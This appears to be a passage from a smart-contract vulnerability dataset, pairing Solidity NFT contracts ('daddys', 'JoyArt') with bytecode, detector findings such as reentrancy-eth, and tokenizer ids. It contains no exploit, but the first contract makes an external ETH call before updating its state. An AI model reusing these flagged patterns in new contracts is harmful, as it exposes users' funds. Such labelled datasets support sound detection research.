} uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } //SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract daddys is ERC721, Ownable { address payable public constant addr_ = 0x7D0f95FcE3e839369f2fA464B172C361d5349618; using Counters for Counters.Counter; Counters.Counter public _tokenIds; constructor() public ERC721("daddy", "DADDY") { _setBaseURI("https://areyawinningson.xyz/meta"); } uint256 public constant limit = 10021; uint256 public requested = 0; uint256 public constant daddyPrice = 0.069 ether; function setBaseURI(string calldata baseURI_) external onlyOwner() { _setBaseURI(baseURI_); } function mint() public payable { uint qty = msg.value.div(daddyPrice); require( qty >= 1, "Not enough ETH."); require( (requested + qty) <= limit, "Limit Reached, done minting" ); require( msg.value >= daddyPrice * qty, "Not enough ETH"); (bool success,) = addr_.call{value: msg.value}(""); require( success, "Could not complete, please try again"); requested += qty; for (uint i = 1; i <= qty; i++ ) { _tokenIds.increment(); _mint(msg.sender, _tokenIds.current()); } } }
0x60806040526004361061019c5760003560e01c80636352211e116100ec578063a22cb4651161008a578063b88d4fde11610064578063b88d4fde146105de578063c87b56dd146106b1578063e985e9c5146106db578063f2fde38b146107165761019c565b8063a22cb46514610579578063a4d66daf146105b4578063aa46a400146105c95761019c565b8063715018a6116100c6578063715018a614610525578063785ac6a31461053a5780638da5cb5b1461054f57806395d89b41146105645761019c565b80636352211e146104b35780636c0360eb146104dd57806370a08231146104f25761019c565b806323b872dd1161015957806342842e0e1161013357806342842e0e146103b457806345d69c29146103f75780634f6ccce71461040c57806355f804b3146104365761019c565b806323b872dd146103235780632f745c59146103665780633fae96511461039f5761019c565b806301ffc9a7146101a157806306fdde03146101e9578063081812fc14610273578063095ea7b3146102b95780631249c58b146102f457806318160ddd146102fc575b600080fd5b3480156101ad57600080fd5b506101d5600480360360208110156101c457600080fd5b50356001600160e01b031916610749565b604080519115158252519081900360200190f35b3480156101f557600080fd5b506101fe61076c565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610238578181015183820152602001610220565b50505050905090810190601f1680156102655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027f57600080fd5b5061029d6004803603602081101561029657600080fd5b5035610803565b604080516001600160a01b039092168252519081900360200190f35b3480156102c557600080fd5b506102f2600480360360408110156102dc57600080fd5b506001600160a01b038135169060200135610865565b005b6102f2610940565b34801561030857600080fd5b50610311610b1f565b60408051918252519081900360200190f35b34801561032f57600080fd5b506102f26004803603606081101561034657600080fd5b506001600160a01b03813581169160208101359091169060400135610b30565b34801561037257600080fd5b506103116004803603604081101561038957600080fd5b506001600160a01b038135169060200135610b87565b3480156103ab57600080fd5b50610311610bb8565b3480156103c057600080fd5b506102f2600480360360608110156103d757600080fd5b506001600160a01b03813581169160208101359091169060400135610bbe565b34801561040357600080fd5b5061029d610bd9565b34801561041857600080fd5b506103116004803603602081101561042f57600080fd5b5035610bf1565b34801561044257600080fd5b506102f26004803603602081101561045957600080fd5b81019060208101813564010000000081111561047457600080fd5b82018360208201111561048657600080fd5b803590602001918460018302840111640100000000831117156104a857600080fd5b509092509050610c0d565b3480156104bf57600080fd5b5061029d600480360360208110156104d657600080fd5b5035610cc4565b3480156104e957600080fd5b506101fe610cf2565b3480156104fe57600080fd5b506103116004803603602081101561051557600080fd5b50356001600160a01b0316610d53565b34801561053157600080fd5b506102f2610dbb565b34801561054657600080fd5b50610311610e79565b34801561055b57600080fd5b5061029d610e84565b34801561057057600080fd5b506101fe610e93565b34801561058557600080fd5b506102f26004803603604081101561059c57600080fd5b506001600160a01b0381351690602001351515610ef4565b3480156105c057600080fd5b50610311610ff9565b3480156105d557600080fd5b50610311610fff565b3480156105ea57600080fd5b506102f26004803603608081101561060157600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561063c57600080fd5b82018360208201111561064e57600080fd5b8035906020019184600183028401116401000000008311171561067057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611005945050505050565b3480156106bd57600080fd5b506101fe600480360360208110156106d457600080fd5b5035611063565b3480156106e757600080fd5b506101d5600480360360408110156106fe57600080fd5b506001600160a01b03813581169160200135166112e6565b34801561072257600080fd5b506102f26004803603602081101561073957600080fd5b50356001600160a01b0316611314565b6001600160e01b0319811660009081526020819052604090205460ff165b919050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107f85780601f106107cd576101008083540402835291602001916107f8565b820191906000526020600020905b8154815290600101906020018083116107db57829003601f168201915b505050505090505b90565b600061080e82611429565b6108495760405162461bcd60e51b815260040180806020018281038252602c8152602001806122d0602c913960400191505060405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061087082610cc4565b9050806001600160a01b0316836001600160a01b031614156108c35760405162461bcd60e51b81526004018080602001828103825260218152602001806123546021913960400191505060405180910390fd5b806001600160a01b03166108d561143c565b6001600160a01b031614806108f657506108f6816108f161143c565b6112e6565b6109315760405162461bcd60e51b81526004018080602001828103825260388152602001806122236038913960400191505060405180910390fd5b61093b8383611440565b505050565b60006109593466f523226980800063ffffffff6114ae16565b905060018110156109a3576040805162461bcd60e51b815260206004820152600f60248201526e2737ba1032b737bab3b41022aa241760891b604482015290519081900360640190fd5b61272581600c540111156109fe576040805162461bcd60e51b815260206004820152601b60248201527f4c696d697420526561636865642c20646f6e65206d696e74696e670000000000604482015290519081900360640190fd5b8066f523226980800002341015610a4d576040805162461bcd60e51b815260206004820152600e60248201526d09cdee840cadcdeeaced0408aa8960931b604482015290519081900360640190fd5b604051600090737d0f95fce3e839369f2fa464b172c361d53496189034908381818185875af1925050503d8060008114610aa3576040519150601f19603f3d011682016040523d82523d6000602084013e610aa8565b606091505b5050905080610ae85760405162461bcd60e51b81526004018080602001828103825260248152602001806121ff6024913960400191505060405180910390fd5b600c80548301905560015b82811161093b57610b04600b611515565b610b1733610b12600b61151e565b611522565b600101610af3565b6000610b2b600261165c565b905090565b610b41610b3b61143c565b82611667565b610b7c5760405162461bcd60e51b81526004018080602001828103825260318152602001806123756031913960400191505060405180910390fd5b61093b83838361170b565b6001600160a01b0382166000908152600160205260408120610baf908363ffffffff61186916565b90505b92915050565b600c5481565b61093b83838360405180602001604052806000815250611005565b737d0f95fce3e839369f2fa464b172c361d534961881565b600080610c0560028463ffffffff61187516565b509392505050565b610c1561143c565b6001600160a01b0316610c26610e84565b6001600160a01b031614610c81576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610cc082828080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061189192505050565b5050565b6000610bb282604051806060016040528060298152602001612285602991396002919063ffffffff6118a416565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107f85780601f106107cd576101008083540402835291602001916107f8565b60006001600160a01b038216610d9a5760405162461bcd60e51b815260040180806020018281038252602a81526020018061225b602a913960400191505060405180910390fd5b6001600160a01b0382166000908152600160205260409020610bb29061165c565b610dc361143c565b6001600160a01b0316610dd4610e84565b6001600160a01b031614610e2f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600a546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600a80546001600160a01b0319169055565b66f523226980800081565b600a546001600160a01b031690565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107f85780601f106107cd576101008083540402835291602001916107f8565b610efc61143c565b6001600160a01b0316826001600160a01b03161415610f62576040805162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015290519081900360640190fd5b8060056000610f6f61143c565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610fb361143c565b60408051841515815290516001600160a01b0392909216917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c319181900360200190a35050565b61272581565b600b5481565b61101661101061143c565b83611667565b6110515760405162461bcd60e51b81526004018080602001828103825260318152602001806123756031913960400191505060405180910390fd5b61105d848484846118bb565b50505050565b606061106e82611429565b6110a95760405162461bcd60e51b815260040180806020018281038252602f815260200180612325602f913960400191505060405180910390fd5b60008281526008602090815260409182902080548351601f600260001961010060018616150201909316929092049182018490048402810184019094528084526060939283018282801561113e5780601f106111135761010080835404028352916020019161113e565b820191906000526020600020905b81548152906001019060200180831161112157829003601f168201915b50505050509050606061114f610cf2565b905080516000141561116357509050610767565b8151156112245780826040516020018083805190602001908083835b6020831061119e5780518252601f19909201916020918201910161117f565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b602083106111e65780518252601f1990920191602091820191016111c7565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050610767565b8061122e8561190d565b6040516020018083805190602001908083835b602083106112605780518252601f199092019160209182019101611241565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b602083106112a85780518252601f199092019160209182019101611289565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050919050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b61131c61143c565b6001600160a01b031661132d610e84565b6001600160a01b031614611388576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166113cd5760405162461bcd60e51b81526004018080602001828103825260268152602001806121896026913960400191505060405180910390fd5b600a546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610bb260028363ffffffff6119e816565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061147582610cc4565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000808211611504576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161150d57fe5b049392505050565b80546001019055565b5490565b6001600160a01b03821661157d576040805162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015290519081900360640190fd5b61158681611429565b156115d8576040805162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015290519081900360640190fd5b6115e46000838361093b565b6001600160a01b038216600090815260016020526040902061160c908263ffffffff6119f416565b5061161f6002828463ffffffff611a0016565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000610bb28261151e565b600061167282611429565b6116ad5760405162461bcd60e51b815260040180806020018281038252602c8152602001806121d3602c913960400191505060405180910390fd5b60006116b883610cc4565b9050806001600160a01b0316846001600160a01b031614806116f35750836001600160a01b03166116e884610803565b6001600160a01b0316145b80611703575061170381856112e6565b949350505050565b826001600160a01b031661171e82610cc4565b6001600160a01b0316146117635760405162461bcd60e51b81526004018080602001828103825260298152602001806122fc6029913960400191505060405180910390fd5b6001600160a01b0382166117a85760405162461bcd60e51b81526004018080602001828103825260248152602001806121af6024913960400191505060405180910390fd5b6117b383838361093b565b6117be600082611440565b6001600160a01b03831660009081526001602052604090206117e6908263ffffffff611a1616565b506001600160a01b038216600090815260016020526040902061180f908263ffffffff6119f416565b506118226002828463ffffffff611a0016565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000610baf8383611a22565b60008080806118848686611a86565b9097909650945050505050565b8051610cc090600990602084019061209c565b60006118b1848484611b01565b90505b9392505050565b6118c684848461170b565b6118d284848484611bcb565b61105d5760405162461bcd60e51b81526004018080602001828103825260328152602001806121576032913960400191505060405180910390fd5b60608161193257506040805180820190915260018152600360fc1b6020820152610767565b8160005b811561194a57600101600a82049150611936565b60608167ffffffffffffffff8111801561196357600080fd5b506040519080825280601f01601f19166020018201604052801561198e576020820181803683370190505b50859350905060001982015b83156119df57600a840660300160f81b828280600190039350815181106119bd57fe5b60200101906001600160f81b031916908160001a905350600a8404935061199a565b50949350505050565b6000610baf8383611d4b565b6000610baf8383611d63565b60006118b184846001600160a01b038516611dad565b6000610baf8383611e44565b81546000908210611a645760405162461bcd60e51b81526004018080602001828103825260228152602001806121356022913960400191505060405180910390fd5b826000018281548110611a7357fe5b9060005260206000200154905092915050565b815460009081908310611aca5760405162461bcd60e51b81526004018080602001828103825260228152602001806122ae6022913960400191505060405180910390fd5b6000846000018481548110611adb57fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008281526001840160205260408120548281611b9c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b61578181015183820152602001611b49565b50505050905090810190601f168015611b8e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50846000016001820381548110611baf57fe5b9060005260206000209060020201600101549150509392505050565b6000611bdf846001600160a01b0316611f0a565b611beb57506001611703565b6060611d11630a85bd0160e11b611c0061143c565b88878760405160240180856001600160a01b03166001600160a01b03168152602001846001600160a01b03166001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611c79578181015183820152602001611c61565b50505050905090810190601f168015611ca65780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b038381831617835250505050604051806060016040528060328152602001612157603291396001600160a01b038816919063ffffffff611f1016565b90506000818060200190516020811015611d2a57600080fd5b50516001600160e01b031916630a85bd0160e11b1492505050949350505050565b60009081526001919091016020526040902054151590565b6000611d6f8383611d4b565b611da557508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610bb2565b506000610bb2565b600082815260018401602052604081205480611e125750506040805180820182528381526020808201848152865460018181018955600089815284812095516002909302909501918255915190820155865486845281880190925292909120556118b4565b82856000016001830381548110611e2557fe5b90600052602060002090600202016001018190555060009150506118b4565b60008181526001830160205260408120548015611f005783546000198083019190810190600090879083908110611e7757fe5b9060005260206000200154905080876000018481548110611e9457fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080611ec457fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610bb2565b6000915050610bb2565b3b151590565b60606118b1848460008585611f2485611f0a565b611f75576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310611fb45780518252601f199092019160209182019101611f95565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612016576040519150601f19603f3d011682016040523d82523d6000602084013e61201b565b606091505b509150915061202b828286612036565b979650505050505050565b606083156120455750816118b4565b8251156120555782518084602001fd5b60405162461bcd60e51b8152602060048201818152845160248401528451859391928392604401919085019080838360008315611b61578181015183820152602001611b49565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106120dd57805160ff191683800117855561210a565b8280016001018555821561210a579182015b8281111561210a5782518255916020019190600101906120ef565b5061211692915061211a565b5090565b61080091905b80821115612116576000815560010161212056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433732313a207472616e7366657220746f20746865207a65726f20616464726573734552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e436f756c64206e6f7420636f6d706c6574652c20706c656173652074727920616761696e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a26469706673582212204178cd9e31087f1fd371fbaeebe73f826cd9ec3a269a85d9764a5b90422269da64736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 21486, 23499, 2549, 2063, 2620, 2546, 12740, 21619, 2497, 2575, 8586, 18827, 2575, 2683, 2546, 2683, 2546, 27814, 2692, 2094, 2487, 3401, 2487, 2278, 2683, 2278, 19481, 26187, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,082
0x96313f2c374f901e3831ea6de67b1165c4f39a54
pragma solidity ^0.4.18; // inspired by // https://github.com/axiomzen/cryptokitties-bounty/blob/master/contracts/KittyAccessControl.sol contract AccessControl { /// @dev The addresses of the accounts (or contracts) that can execute actions within each roles address public ceoAddress; address public cooAddress; /// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev The AccessControl constructor sets the original C roles of the contract to the sender account function AccessControl() public { ceoAddress = msg.sender; cooAddress = msg.sender; } /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// @dev Access modifier for any CLevel functionality modifier onlyCLevel() { require(msg.sender == ceoAddress || msg.sender == cooAddress); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Pause the smart contract. Only can be called by the CEO function pause() public onlyCEO whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Only can be called by the CEO function unpause() public onlyCEO whenPaused { paused = false; } } /** * Interface for required functionality in the ERC721 standard * for non-fungible tokens. * * Author: Nadav Hollander (nadav at dharma.io) * https://github.com/dharmaprotocol/NonFungibleToken/blob/master/contracts/ERC721.sol */ contract ERC721 { // Events event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); /// For querying totalSupply of token. function totalSupply() public view returns (uint256 _totalSupply); /// For querying balance of a particular account. /// @param _owner The address for balance query. /// @dev Required for ERC-721 compliance. function balanceOf(address _owner) public view returns (uint256 _balance); /// For querying owner of token. /// @param _tokenId The tokenID for owner inquiry. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) public view returns (address _owner); /// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom() /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve(address _to, uint256 _tokenId) public; // NOT IMPLEMENTED // function getApproved(uint256 _tokenId) public view returns (address _approved); /// Third-party initiates transfer of token from address _from to address _to. /// @param _from The address for the token to be transferred from. /// @param _to The address for the token to be transferred to. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transferFrom(address _from, address _to, uint256 _tokenId) public; /// Owner initates the transfer of the token to another account. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the token to transfer. /// @dev Required for ERC-721 compliance. function transfer(address _to, uint256 _tokenId) public; /// function implementsERC721() public view returns (bool _implementsERC721); // EXTRA /// @notice Allow pre-approved user to take ownership of a token. /// @param _tokenId The ID of the token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function takeOwnership(uint256 _tokenId) public; } contract DetailedERC721 is ERC721 { function name() public view returns (string _name); function symbol() public view returns (string _symbol); } contract JoyArt is AccessControl, DetailedERC721 { using SafeMath for uint256; event TokenCreated(uint256 tokenId, string name, uint256 price, address owner); event TokenSold( uint256 indexed tokenId, string name, uint256 sellingPrice, uint256 newPrice, address indexed oldOwner, address indexed newOwner ); mapping (uint256 => address) private tokenIdToOwner; mapping (uint256 => uint256) private tokenIdToPrice; mapping (address => uint256) private ownershipTokenCount; mapping (uint256 => address) private tokenIdToApproved; struct Art { string name; } Art[] private artworks; uint256 private startingPrice = 0.001 ether; bool private erc721Enabled = false; modifier onlyERC721() { require(erc721Enabled); _; } function createToken(string _name, address _owner, uint256 _price) public onlyCLevel { require(_owner != address(0)); require(_price >= startingPrice); _createToken(_name, _owner, _price); } function createToken(string _name) public onlyCLevel { _createToken(_name, address(this), startingPrice); } function _createToken(string _name, address _owner, uint256 _price) private { Art memory _art = Art({ name: _name }); uint256 newTokenId = artworks.push(_art) - 1; tokenIdToPrice[newTokenId] = _price; TokenCreated(newTokenId, _name, _price, _owner); _transfer(address(0), _owner, newTokenId); } function getToken(uint256 _tokenId) public view returns ( string _tokenName, uint256 _price, uint256 _nextPrice, address _owner ) { _tokenName = artworks[_tokenId].name; _price = tokenIdToPrice[_tokenId]; _nextPrice = nextPriceOf(_tokenId); _owner = tokenIdToOwner[_tokenId]; } function getAllTokens() public view returns ( uint256[], uint256[], address[] ) { uint256 total = totalSupply(); uint256[] memory prices = new uint256[](total); uint256[] memory nextPrices = new uint256[](total); address[] memory owners = new address[](total); for (uint256 i = 0; i < total; i++) { prices[i] = tokenIdToPrice[i]; nextPrices[i] = nextPriceOf(i); owners[i] = tokenIdToOwner[i]; } return (prices, nextPrices, owners); } function tokensOf(address _owner) public view returns(uint256[]) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 total = totalSupply(); uint256 resultIndex = 0; for (uint256 i = 0; i < total; i++) { if (tokenIdToOwner[i] == _owner) { result[resultIndex] = i; resultIndex++; } } return result; } } function withdrawBalance(address _to, uint256 _amount) public onlyCEO { require(_amount <= this.balance); uint256 amountToWithdraw = _amount; if (amountToWithdraw == 0) { amountToWithdraw = this.balance; } if(_to == address(0)) { ceoAddress.transfer(amountToWithdraw); } else { _to.transfer(amountToWithdraw); } } function purchase(uint256 _tokenId) public payable whenNotPaused { address oldOwner = ownerOf(_tokenId); address newOwner = msg.sender; uint256 sellingPrice = priceOf(_tokenId); require(oldOwner != address(0)); require(newOwner != address(0)); require(oldOwner != newOwner); require(!_isContract(newOwner)); require(sellingPrice > 0); require(msg.value >= sellingPrice); _transfer(oldOwner, newOwner, _tokenId); tokenIdToPrice[_tokenId] = nextPriceOf(_tokenId); TokenSold( _tokenId, artworks[_tokenId].name, sellingPrice, priceOf(_tokenId), oldOwner, newOwner ); uint256 excess = msg.value.sub(sellingPrice); uint256 contractCut = sellingPrice.mul(10).div(100); // 10% cut if (oldOwner != address(this)) { oldOwner.transfer(sellingPrice.sub(contractCut)); } if (excess > 0) { newOwner.transfer(excess); } } function priceOf(uint256 _tokenId) public view returns (uint256 _price) { return tokenIdToPrice[_tokenId]; } uint256 private increaseLimit1 = 0.02 ether; uint256 private increaseLimit2 = 0.5 ether; uint256 private increaseLimit3 = 2.0 ether; uint256 private increaseLimit4 = 5.0 ether; function nextPriceOf(uint256 _tokenId) public view returns (uint256 _nextPrice) { uint256 _price = priceOf(_tokenId); if (_price < increaseLimit1) { return _price.mul(200).div(95); } else if (_price < increaseLimit2) { return _price.mul(135).div(96); } else if (_price < increaseLimit3) { return _price.mul(125).div(97); } else if (_price < increaseLimit4) { return _price.mul(117).div(97); } else { return _price.mul(115).div(98); } } function enableERC721() public onlyCEO { erc721Enabled = true; } function totalSupply() public view returns (uint256 _totalSupply) { _totalSupply = artworks.length; } function balanceOf(address _owner) public view returns (uint256 _balance) { _balance = ownershipTokenCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address _owner) { _owner = tokenIdToOwner[_tokenId]; } function approve(address _to, uint256 _tokenId) public whenNotPaused onlyERC721 { require(_owns(msg.sender, _tokenId)); tokenIdToApproved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused onlyERC721 { require(_to != address(0)); require(_owns(_from, _tokenId)); require(_approved(msg.sender, _tokenId)); _transfer(_from, _to, _tokenId); } function transfer(address _to, uint256 _tokenId) public whenNotPaused onlyERC721 { require(_to != address(0)); require(_owns(msg.sender, _tokenId)); _transfer(msg.sender, _to, _tokenId); } function implementsERC721() public view whenNotPaused returns (bool) { return erc721Enabled; } function takeOwnership(uint256 _tokenId) public whenNotPaused onlyERC721 { require(_approved(msg.sender, _tokenId)); _transfer(tokenIdToOwner[_tokenId], msg.sender, _tokenId); } function name() public view returns (string _name) { _name = "John Orion Young"; } function symbol() public view returns (string _symbol) { _symbol = "JOY"; } function _owns(address _claimant, uint256 _tokenId) private view returns (bool) { return tokenIdToOwner[_tokenId] == _claimant; } function _approved(address _to, uint256 _tokenId) private view returns (bool) { return tokenIdToApproved[_tokenId] == _to; } function _transfer(address _from, address _to, uint256 _tokenId) private { ownershipTokenCount[_to]++; tokenIdToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; delete tokenIdToApproved[_tokenId]; } Transfer(_from, _to, _tokenId); } function _isContract(address addr) private view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x60606040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f25780630a0f8168146102345780630cf20cc9146102895780631051db34146102cb57806318160ddd146102f857806323b872dd1461032157806327d7874c146103825780632a5c792a146103bb5780632ba73c15146104b55780633f4ba83a146104ee57806345576f94146105035780635a3f2672146105605780635ba9e48e146105ee5780635c975abb146106255780636352211e1461065257806370a08231146106b557806371dc761e1461070257806373b4df05146107175780638456cb591461079c57806395d89b41146107b1578063a9059cbb1461083f578063b047fb5014610881578063b2e6ceeb146108d6578063b9186d7d146108f9578063e4b50cb814610930578063efef39a114610a0d575b600080fd5b341561016f57600080fd5b610177610a25565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b757808201518184015260208101905061019c565b50505050905090810190601f1680156101e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101fd57600080fd5b610232600480803573ffffffffffffffffffffffffffffffffffffffff16906020